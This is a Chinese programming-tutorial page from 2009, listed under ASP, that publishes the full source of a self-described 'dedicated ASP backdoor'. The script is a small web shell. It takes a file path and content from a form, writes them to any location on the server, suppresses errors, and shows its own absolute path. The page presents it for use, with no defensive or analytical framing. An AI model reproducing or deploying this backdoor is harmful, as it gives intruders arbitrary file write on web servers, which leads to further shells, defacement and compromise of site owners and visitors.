当前位置: 首页 > 图文教程 > 网络编程 > ASP > 七步倒┈→专用asp后门

ASP
用ASP编写图片计数器
最简洁的多重查询的解决方案
披着羊皮的大野狼 ASP中Session技巧
简单入门ASP变量
简单入门ASP子程序
几款Access 在线管理工具(ASP)比较
ASP实例教程:Form集合
ASP实例教程:FileSystemObject对象
关于ASP Recordset 分页出现负数解决方法及建议
sdcms添加在线提交功能
如何配置IIS既可以运行ASP又可以运行PHP
Asp获取当日文章并支持前一天后一天的方法
ASP动态include文件
用ASP开发网页需要牢记的注意事项
利用ASP发送和接收XML数据的处理方法
Session对象失效的客户端解决方法
通过数组给您的文件排序
一次性下载远程页面上的所有内容
ASP生成不重复随机数字的另类思路
asp模板引擎终结者(WEB开发之ASP模式)

ASP 中的 七步倒┈→专用asp后门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 107 ::
收藏到网摘: n/a

<html>
<head>
<title>七步倒┈→专用asp后门</title>
</head>
</html>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=blue>Save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.write "<font color=blue>save file绝对路径:</font>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%Response.write "<font color=red>file of 绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "input:"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10
width=50></textarea>"%>
<%Response.write "<input type=submit value=save>"%>
<%Response.write "</form>"%>
BY:七步倒